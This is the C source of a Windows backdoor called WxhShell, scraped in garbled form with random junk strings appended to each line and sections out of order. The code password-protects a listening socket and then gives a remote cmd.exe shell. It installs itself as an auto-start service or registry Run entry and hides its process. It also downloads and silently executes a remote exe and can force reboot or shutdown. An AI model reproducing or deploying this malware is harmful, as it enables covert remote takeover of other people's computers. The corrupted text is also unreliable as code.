    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EW/NH&{  
    if(Boot(SHUTDOWN)) 'lmjZ{k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l !ZzJ&  
    else { muO;g&  
    closesocket(wsh); ^tVIPH.R  
    ExitThread(0); +y][s{A  
    } S e(apQH  
    break; &+GbklUB~  
    } !ED,'d%J  
  // 获取shell 5xa!L@)`wF  
  case 's': { S4OOm[8  
    CmdShell(wsh); J$-1odL0Z  
    closesocket(wsh); jI$7vmO  
    ExitThread(0); f|2QI ~R  
    break; ~O 4@b/!4  
  } WrR8TYq9D]  
  // 退出 \p)eY#A  
  case 'x': { 8qT^=K $  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x_= 3 !)  
    CloseIt(wsh); )7Oj  
    break; B'6(Ao=3/  
    } +\J+?jOC4S  
  // 离开 #:Ukv?  
  case 'q': { #c-Jo[%G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q2M%AvR  
    closesocket(wsh); 0p'g+ 2  
    WSACleanup(); *k0;R[IAV  
    exit(1); E%$[*jZ  
    break; )7WLbj!M  
        } VGOdJ|2]Wr  
  } u#0EZ2 >#  
  } ##U/Wa3  
]Y f8  
  // 提示信息 p(A[ah_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y }8HJTMB  
} i^ eDM.#X  
  } 5 gwEr170  
YV6w}b:  
  return; ST\d -x  
} hS:j$j e  
D*o[a#2_  
// shell模块句柄 73'.TReK  
int CmdShell(SOCKET sock) O=w u0n  
{ wMru9zyI  
STARTUPINFO si; +G<9|-  
ZeroMemory(&si,sizeof(si)); dnUiNs8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @;H1s4OZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P :D6w){  
PROCESS_INFORMATION ProcessInfo; 5nJmabw3  
char cmdline[]="cmd"; XKT2u!Lx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %4HpTx  
  return 0; V/i7Zh#2:  
} !Typ_Cs  
vaUUesytt  
// 自身启动模式 0`l(c  
int StartFromService(void) ' CO3b,  
{ k=qb YGK  
typedef struct %.;`0}b  
{ K=X13As_  
  DWORD ExitStatus; b py576GwA  
  DWORD PebBaseAddress; q<*UeyE S  
  DWORD AffinityMask; \hT=U*dMR  
  DWORD BasePriority; [ZkK)78}k  
  ULONG UniqueProcessId; [X|KXlNfm  
  ULONG InheritedFromUniqueProcessId; !^<%RT9@|  
}   PROCESS_BASIC_INFORMATION; } X[wWH  
h$eVhN &Vv  
PROCNTQSIP NtQueryInformationProcess; oN6 '%   
CNF3".a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #9) D.d|5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $f]dL};  
YXWlg%s  
  HANDLE             hProcess; J`4{O:{4  
  PROCESS_BASIC_INFORMATION pbi; KF4}cM=.5  
V;-YM W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gzD NMM  
  if(NULL == hInst ) return 0; @G;\gJT*  
2 .)`8|c9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |=9=a@l]P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^%r>f@h!L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F-2&P:sjQ  
' Zmslijf  
  if (!NtQueryInformationProcess) return 0; z^r  
~}fQ.F*7R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lwuslt*E/  
  if(!hProcess) return 0; c- {;P>L  
51lN,VVD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -^%YrWgd?  
Us*"g{PQ  
  CloseHandle(hProcess); ^|0>&sTHOH  
!Cv:,q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I>L@ P`d  
if(hProcess==NULL) return 0; Lw!Q*3c  
7 -Yn8Gq  
HMODULE hMod; RY]Vo8  
char procName[255]; ;_vo2zl1  
unsigned long cbNeeded; nY[]k p@  
}yW*vy6`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +P. }<  
ayvHS&h  
  CloseHandle(hProcess); 8 k%!1dyMB  
g`BtG  
if(strstr(procName,"services")) return 1; // 以服务启动 )+S^{tt  
~qxuD_  
  return 0; // 注册表启动 "dO>P*k,  
} Hkck=@>8H*  
rFPfTpS  
// 主模块 \h}a?T6  
int StartWxhshell(LPSTR lpCmdLine) 2'6:fr=R  
{ ) HN,Az"  
  SOCKET wsl; ] oh.w  
BOOL val=TRUE; ADQ#qA,/  
  int port=0; Q7-d]xJ^  
  struct sockaddr_in door; x.OCE`  
t$W~X~//  
  if(wscfg.ws_autoins) Install(); Z7t-{s64  
T@ecWRro  
port=atoi(lpCmdLine); qrtA'fU  
4pfv?!Oj  
if(port<=0) port=wscfg.ws_port; ;^K4kK&f  
sC=fXCGW\p  
  WSADATA data; `>mT/Rmb@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,`ZIW  
+bbhm0f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i!jR>+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lrXi *u]  
  door.sin_family = AF_INET; UFox v)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tL!R^Tf  
  door.sin_port = htons(port); C;&44cU/]  
/v,H%8S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~J Xqyw}  
closesocket(wsl); 3:;2Av2(X.  
return 1; >sL"HyY#H  
} 9<ev]XaSl  
rprtp5Cg  
  if(listen(wsl,2) == INVALID_SOCKET) { xxN=,p  
closesocket(wsl); wwtk6;8@  
return 1; mz~aSbb|  
} i9FHEu_  
  Wxhshell(wsl); 0WjPo  
  WSACleanup(); cF7efs8u  
%;Dp~T`0  
return 0; 7Q(5Nlfcz  
7Q>*]  
} )Bq~1M 2  
smM*HDK  
// 以NT服务方式启动 C)r!;u)AZH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &!lGx7zf  
{ D6KYkN(,v  
DWORD   status = 0; Gg3cY{7  
  DWORD   specificError = 0xfffffff; ~HH#aXh*  
n2JwZ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uD2v6x236  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ris5) *7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g`}+K U  
  serviceStatus.dwWin32ExitCode     = 0; QQ5G?E  
  serviceStatus.dwServiceSpecificExitCode = 0; b@yGa%Gz@  
  serviceStatus.dwCheckPoint       = 0; T@ [*V[  
  serviceStatus.dwWaitHint       = 0; <3;Sq~^  
) DzbJ}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,c%>M^d  
  if (hServiceStatusHandle==0) return; 7n1@m_7O  
)K4A-9pC  
status = GetLastError(); nbpGxUF`]  
  if (status!=NO_ERROR) ].j;d2xT\  
{ m&H@f:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #sOkD  
    serviceStatus.dwCheckPoint       = 0; ItZqLUJ m  
    serviceStatus.dwWaitHint       = 0; Fnnk }I}  
    serviceStatus.dwWin32ExitCode     = status; 1%?J l~M  
    serviceStatus.dwServiceSpecificExitCode = specificError; pD+_ K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a/Cd;T2  
    return; .7ZV: m  
  } k|^e=I   
m{/?6h 1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b|cUKsL5  
  serviceStatus.dwCheckPoint       = 0; b-1cA1#_cP  
  serviceStatus.dwWaitHint       = 0; !NNq(t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dJZMzn  
} J~6-}z   
>&|C E2'  
// 处理NT服务事件,比如:启动、停止 _7AR2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BnLM;5 >  
{ ? (&)p~o  
switch(fdwControl) /5ngPHy&  
{ 36<PI'l#~  
case SERVICE_CONTROL_STOP: C>d_a;pX  
  serviceStatus.dwWin32ExitCode = 0; z8SrZ#mg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /mb?C/CI  
  serviceStatus.dwCheckPoint   = 0; ;$Eg4uX  
  serviceStatus.dwWaitHint     = 0; @w)Vt $+b]  
  { 1CkBfK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0i[,`>-Av  
  } /e^q>>z  
  return; XNwZSW  
case SERVICE_CONTROL_PAUSE: .kl _F7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]*8K4n G  
  break; .Y8z3O  
case SERVICE_CONTROL_CONTINUE: cax]l O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ylc[ghx  
  break; )F\tU  
case SERVICE_CONTROL_INTERROGATE: bp06xHMu  
  break; ohFUy}y  
}; - I$qe Xy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6gLk?^.  
} t,mD{ENm&  
(RP"VEVR  
// 标准应用程序主函数 B?qLXRv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L#Mul&r3x0  
{ }{J5)\s9  
pg\Ylk"T  
// 获取操作系统版本 Q3t9J"=1g  
OsIsNt=GetOsVer(); ZSKSMI%D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p#VA-RSUQ|  
.^<4]  
  // 从命令行安装 "T`Q,  
  if(strpbrk(lpCmdLine,"iI")) Install(); xwZcO  
0] 'Bd`e  
  // 下载执行文件 b<|l* \  
if(wscfg.ws_downexe) { f?_UT}n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ 7W@/qqv  
  WinExec(wscfg.ws_filenam,SW_HIDE); gK{-eS  
} ^f:oKKaAW;  
qSRE)C=)  
if(!OsIsNt) { (x{6N^J.t  
// 如果时win9x,隐藏进程并且设置为注册表启动 RR u1/nam  
HideProc(); 1LbJR'}  
StartWxhshell(lpCmdLine); >tfy\PY:  
} %!5[3b'h  
else i1qhe?5  
  if(StartFromService()) IXp(Aeb  
  // 以服务方式启动 Bn83W4M  
  StartServiceCtrlDispatcher(DispatchTable); _raj b1!  
else `K.2&6xc  
  // 普通方式启动 0B0Uay'd_  
  StartWxhshell(lpCmdLine); lx8@;9fLy  
UenB4  
return 0; xn49[T  
} 3cuVyf<v  
c$.h]&~dN  
H pHXt78  
 FSaCbs(  
=========================================== VCzmTnD  
EgAM,\  
W0 n/B &C  
o ]UG*2  
|p"P+"#  
 ~yQby&s  
" wb@TYvDt  
d4Y8q1  
#include <stdio.h> |!VSed#FSn  
#include <string.h> `GsFvxz  
#include <windows.h> Sm6hyZFy  
#include <winsock2.h> 1wX0x.4d  
#include <winsvc.h> R;2tb7o  
#include <urlmon.h> }%K)R 5C  
=-XI)JV#  
#pragma comment (lib, "Ws2_32.lib") 0{0|M8  
#pragma comment (lib, "urlmon.lib")  jpc bW  
YK[PC]w  
#define MAX_USER   100 // 最大客户端连接数 r=Up-(j  
#define BUF_SOCK   200 // sock buffer T %   
#define KEY_BUFF   255 // 输入 buffer ys+ AY^/  
GCn^+`.h1t  
#define REBOOT     0   // 重启 `:hEc<_/  
#define SHUTDOWN   1   // 关机 1]wx Ru  
=Ri'Pr x&  
#define DEF_PORT   5000 // 监听端口 ,G,'#]  
"pdq_35  
#define REG_LEN     16   // 注册表键长度 W,<P])  
#define SVC_LEN     80   // NT服务名长度 Q;]g9T[)  
S2/6VoGE  
// 从dll定义API \ /(;LHWQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DYS|"tSk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A=LyN$ %  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %A@Q%l6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XH_XGzBQS  
5$kv,%ah  
// wxhshell配置信息 1'q llkT  
struct WSCFG { 2b|$z"97jj  
  int ws_port;         // 监听端口 %d..L-`]ET  
  char ws_passstr[REG_LEN]; // 口令  >'>onAIL  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8cqH0{  
  char ws_regname[REG_LEN]; // 注册表键名 3l?D%E]P  
  char ws_svcname[REG_LEN]; // 服务名 7Sc._G{[%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lq#>N_72W0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g<,kV(_7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [yzDa:%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T~shJ0%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~&>|u5C*@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rj&V~or  
g. V6:>,  
}; )sWC5\  
FyZp,uD  
// default Wxhshell configuration mTG v*=l  
struct WSCFG wscfg={DEF_PORT, n9.` 5BH7/  
    "xuhuanlingzhe", ;J"b%~Gn  
    1, 9|Z25_sS  
    "Wxhshell", 1 J3h_z6/  
    "Wxhshell", gv7(-I  
            "WxhShell Service", k)VoDxMKK  
    "Wrsky Windows CmdShell Service", k5]M~"  
    "Please Input Your Password: ", J&%d(EJM  
  1, U%2[,c_  
  "http://www.wrsky.com/wxhshell.exe", _wa1R+`_  
  "Wxhshell.exe" H{Zfbb  
    }; ES~ykE  
%i!&Fr  
// 消息定义模块 &&Sl0(6x[T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {VWX?Mm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #b[B$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EZ+_*_9  
char *msg_ws_ext="\n\rExit."; GEr]zMYG[A  
char *msg_ws_end="\n\rQuit."; 'g<0MOq{  
char *msg_ws_boot="\n\rReboot..."; JGS4r+   
char *msg_ws_poff="\n\rShutdown..."; mlolSD;7  
char *msg_ws_down="\n\rSave to "; lM1Y }  
Jh3(5d"MV  
char *msg_ws_err="\n\rErr!"; 7O3\  
char *msg_ws_ok="\n\rOK!"; a78&<  
[I*BEJ;W'  
char ExeFile[MAX_PATH]; .Rq|F  
int nUser = 0; Jf<+VJ>t  
HANDLE handles[MAX_USER]; (A.%q1h  
int OsIsNt; <"|BuK  
hhu !'(j  
SERVICE_STATUS       serviceStatus; Isa]5>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *ujn+0)[  
-rYOx9P4  
// 函数声明 *,w9#?2x  
int Install(void); 'je=.{[lWt  
int Uninstall(void); 7<W7pXDp  
int DownloadFile(char *sURL, SOCKET wsh); <VB;J5Rv  
int Boot(int flag); xngK_n  
void HideProc(void); $_N<! h*\  
int GetOsVer(void); ?:bW@x  
int Wxhshell(SOCKET wsl); F\1{bN|3  
void TalkWithClient(void *cs); E|!rapa  
int CmdShell(SOCKET sock); 9Ra_[1  
int StartFromService(void); GT|=Kx$;  
int StartWxhshell(LPSTR lpCmdLine); ^P&)2m:s  
Z!Y ^iN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pgK)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xne{:!btw  
KsZXdM/  
// 数据结构和表定义 @/6cEiC+r\  
SERVICE_TABLE_ENTRY DispatchTable[] = Go>_4)jy  
{ k(>hboR5n  
{wscfg.ws_svcname, NTServiceMain}, !b<c*J?f  
{NULL, NULL} !o.l:Mr  
}; *M*:3 v 0  
vO#4$ ,  
// 自我安装 !MNo 8dC;  
int Install(void) ]ee%=+'  
{ E}S)uI,gn  
  char svExeFile[MAX_PATH]; H]a;<V9[  
  HKEY key; &M$s@FUY  
  strcpy(svExeFile,ExeFile); O9>& E;`5  
(;^VdiJ  
// 如果是win9x系统,修改注册表设为自启动 [ F id  
if(!OsIsNt) { o,a 3J:j]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9OYsI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tA?P$5?-*  
  RegCloseKey(key); +(d\`{A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <<>?`7N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q>y2C8rnJ/  
  RegCloseKey(key); 9;3f`DK@2k  
  return 0; [([?+Ouy  
    } y>zPsc,  
  } mZ9+.lm  
} %;0Llxf"  
else { /JPyADi  
"g7`Ytln  
// 如果是NT以上系统,安装为系统服务 .@{W6 /I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9N^&~O|1  
if (schSCManager!=0) zItf>j7|Z  
{ !2oe;q2X[G  
  SC_HANDLE schService = CreateService }0Isi G  
  ( x|/zn<\^  
  schSCManager, ?A7&SdJaO  
  wscfg.ws_svcname, p;av63 i  
  wscfg.ws_svcdisp, `PI,tmv!  
  SERVICE_ALL_ACCESS, WZ}c)r*R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "qEHK;  
  SERVICE_AUTO_START, SJhcmx+  
  SERVICE_ERROR_NORMAL, M%H<F3  
  svExeFile, uZ mi  
  NULL, z@hlN3dg  
  NULL, Yrp WGK520  
  NULL, qv<[f=X9|  
  NULL, oy90|.]G  
  NULL 3{o5AsVv  
  ); h amn9  
  if (schService!=0) vluA46c  
  { XYD}OddO  
  CloseServiceHandle(schService); )]Xj"V2  
  CloseServiceHandle(schSCManager); V6'"J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [4,=%ez  
  strcat(svExeFile,wscfg.ws_svcname); y~_wr}.CS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2T!pFcc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; 2K_u  
  RegCloseKey(key); 09y%FzV  
  return 0; 7VkT(xnm  
    } Y4,~s64e  
  } VZNMom,Wr  
  CloseServiceHandle(schSCManager); ;'!G?)PZ  
} ffo{ 4er  
} a5o&6_  
0ts] iQ7  
return 1; R[>fT}Lo  
} !K;\{/8  
+5(#~  
// 自我卸载 B5"(NJ;  
int Uninstall(void) ^]}UyrOn  
{ fw@n[u{~  
  HKEY key; '6*^s&H~  
H8j#rC#&pm  
if(!OsIsNt) { !gv/jdF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #)`N  
  RegDeleteValue(key,wscfg.ws_regname); D2x-Wa  
  RegCloseKey(key); o ohgZ&k2]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -7)%J+5  
  RegDeleteValue(key,wscfg.ws_regname); 'r6s5 WC  
  RegCloseKey(key); MKSiOM  
  return 0; fvKb0cIx]  
  } nff&~lwhZ  
} F)KUup)gc  
} 9u";%5 4  
else { dM"Suw  
g+h)s!$sB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #|76dU  
if (schSCManager!=0) xwG=&+66  
{ uxF88$=!t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /I|.^ Id|  
  if (schService!=0) s-]k7a 2V  
  { _y{z%-  
  if(DeleteService(schService)!=0) { w[@>k@=  
  CloseServiceHandle(schService); 7!Z\B-_,  
  CloseServiceHandle(schSCManager); -MZ LkSU  
  return 0; 6tXx--Nh  
  } jt-Cy  
  CloseServiceHandle(schService); P]A>"-k  
  } -?gr3rV@  
  CloseServiceHandle(schSCManager); a]^hcKo4  
} K@lZuQ.1  
} nsWenf  
INZycNqm,  
return 1; JFe %W?}.D  
} wb^Yg9  
!\wdX7%  
// 从指定url下载文件 Oz{.>Pjn^o  
int DownloadFile(char *sURL, SOCKET wsh) (6i)m c(  
{ L|4kv  
  HRESULT hr; a-\\A[E  
char seps[]= "/"; 4Eh 2sI  
char *token; e R"XXF0u  
char *file; 9B &QY 2v  
char myURL[MAX_PATH]; hXr`S4aJ  
char myFILE[MAX_PATH]; e6n1/TtqM  
~_v?M%5i  
strcpy(myURL,sURL); |&vQ1o|}  
  token=strtok(myURL,seps); | _/D-m*  
  while(token!=NULL) 1(6B|w5+  
  { 9 ! [oJ3  
    file=token; vUD,%@k9  
  token=strtok(NULL,seps); ~7aBli=  
  } 7n W*3(  
c]:sk[u  
GetCurrentDirectory(MAX_PATH,myFILE); F4+mkB:w*7  
strcat(myFILE, "\\"); , |SO'dG  
strcat(myFILE, file); OM5"&ZIZb  
  send(wsh,myFILE,strlen(myFILE),0); C 9IKX  
send(wsh,"...",3,0); 6FPGQ0q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JF7n|o-`?  
  if(hr==S_OK) 9An_zrJ%i  
return 0; t/z]KdK P  
else K$_Rno"  
return 1; Rt!G:hy7  
g;)xf?A9q  
} OMG.64DX .  
p-n_ ">7  
// 系统电源模块 .-[uQtyWW  
int Boot(int flag) n\k6UD  
{ 41 sClC"  
  HANDLE hToken; }m NP[L  
  TOKEN_PRIVILEGES tkp; gNr/rp9A$m  
o_   
  if(OsIsNt) { mlCw(i,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5P_%Vp`B2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hl}@ha4'  
    tkp.PrivilegeCount = 1; =&?}qa(P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I=)Hb?q T~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `[\*1GpAo  
if(flag==REBOOT) { b}'XDw   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Mo(3M  
  return 0; lO},fM2j  
} R?3^Kx  
else { !f\,xa|M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zp[Uh]-dMK  
  return 0; +P,hT  
}  4"72  
  } qH'T~# S  
  else { _U)BOE0o  
if(flag==REBOOT) { H&\Ig D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i/QE)"B"q  
  return 0; hEAt4z0P  
} vtw{ A}  
else { @f442@_4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "e62g  
  return 0; *njdqr2c~  
} [FLRrTcE  
} gaBt;@?:Q  
GKdQ  
return 1; !7ct=L  
} {>[,i`)  
nWpqAb  
// win9x进程隐藏模块 -1t"(v  
void HideProc(void) +=#sa m*i  
{ $I&DAGV0  
0/?V _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r@L19d)J  
  if ( hKernel != NULL ) y7aBF13Kl  
  { PY=(|2tb4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >?s[g)np  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6jjmrc[#}X  
    FreeLibrary(hKernel); 4Z>KrFO  
  } UD1R _bL}  
)s^D}I(  
return; 3]DUUXg$  
} +O P8U]~  
o= VzVg  
// 获取操作系统版本 6|gC##T  
int GetOsVer(void) ; V)pXLE  
{ F9(*MP|  
  OSVERSIONINFO winfo; !4zSE,1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &r s+x<  
  GetVersionEx(&winfo); s0,c4y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #7/;d=  
  return 1; @]yd Wd  
  else Z 4,nl  
  return 0; @q0\oG4L  
} p^PAbCP'|3  
lA}(63j+b  
// 客户端句柄模块 e]-bB#-A  
int Wxhshell(SOCKET wsl) 5P~{*of  
{ =Tv;?U C  
  SOCKET wsh; ~/LO @  
  struct sockaddr_in client; :tclYX  
  DWORD myID; 5.!iVyN  
`7<4]#b^o  
  while(nUser<MAX_USER) m'D_zb9+  
{ ?pq#|PI)  
  int nSize=sizeof(client); ^PDz"L<*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RGd@3OjN  
  if(wsh==INVALID_SOCKET) return 1; aOZSX3;wg  
{RFpTh7f:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %5<uQc9  
if(handles[nUser]==0) AA[(rw  
  closesocket(wsh); gZbC[L  
else apsR26\^  
  nUser++; G3O`r8oZcJ  
  } Gs^hqT;h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4%#Y)z o.e  
V<&x+?>S  
  return 0; x { Z_rD  
}  A.nU8   
c*LB=;npI  
// 关闭 socket f5p>oXo4b  
void CloseIt(SOCKET wsh) Pi|WOE2  
{ ;"/[gFD5u  
closesocket(wsh); C+ \c(M a  
nUser--; UYJMW S=  
ExitThread(0); u0^Vy#@_  
} TC7&IqT  
7Gg3$E+#*  
// 客户端请求句柄 B->3/dp2c'  
void TalkWithClient(void *cs) )BI6nU  
{ QN`K|,}H^  
1.p2{  
  SOCKET wsh=(SOCKET)cs; g \]2?vY.  
  char pwd[SVC_LEN]; ;MH((M/AN  
  char cmd[KEY_BUFF]; 5[<" _  
char chr[1]; #O3Y#2lI  
int i,j; 9eOP:/'}w  
.W4P/P w'  
  while (nUser < MAX_USER) { -|s w\Q  
mO];+=3v8  
if(wscfg.ws_passstr) { 39 D!e&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cu*+E%P9`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 88%7  
  //ZeroMemory(pwd,KEY_BUFF); 2d1Z;@x  
      i=0; (C{l4  
  while(i<SVC_LEN) { @~t^zI1  
VRe7Q0  
  // 设置超时 7.V'T=@x3)  
  fd_set FdRead; o< )"\f/,  
  struct timeval TimeOut; SrlTwcD  
  FD_ZERO(&FdRead); k:1p:&*m  
  FD_SET(wsh,&FdRead); aMa ICM  
  TimeOut.tv_sec=8; @E Srj[  
  TimeOut.tv_usec=0; aU&p7y4C@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3$<u3Zi6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  UZJ^ e$N  
L'1!vu *Rg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H&$L1CrdL  
  pwd=chr[0]; qUNK Dt  
  if(chr[0]==0xd || chr[0]==0xa) { }le}Vuy\s  
  pwd=0; Vf28R,~m  
  break; ]O}TK^%  
  } O9%`G  
  i++; r 7 dwj  
    } is?#wrV=K  
e@6]rl  
  // 如果是非法用户,关闭 socket #bI ,;]T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gX29c  
} & OO0v*@{  
QMO.Bnek  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :V,agAMn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (!cG*FrN  
R1sWhB99  
while(1) { > nHaMj  
@k+&89@G  
  ZeroMemory(cmd,KEY_BUFF); +Tf4SJ  
 %XF>k)  
      // 自动支持客户端 telnet标准   B/Jz$D  
  j=0; h7 r *5E  
  while(j<KEY_BUFF) { }4Q~<2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3?%?J^/a  
  cmd[j]=chr[0]; ]1Wh3C  
  if(chr[0]==0xa || chr[0]==0xd) { <8J_[ S  
  cmd[j]=0; KM-d8^\:  
  break; 1>~bzXY#  
  } 0H9UM*O  
  j++; G4&vrM,f  
    } e\8|6< o[  
+aY]?]  
  // 下载文件 X RQz~Py  
  if(strstr(cmd,"http://")) { H18.)yHX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LyRbD$m  
  if(DownloadFile(cmd,wsh)) "O}u2B b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qV$\E=%fhM  
  else 3Q0g4#eP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?hC,49  
  } \iP=V3  
  else { Mg"e$m  
,1K`w:uhS  
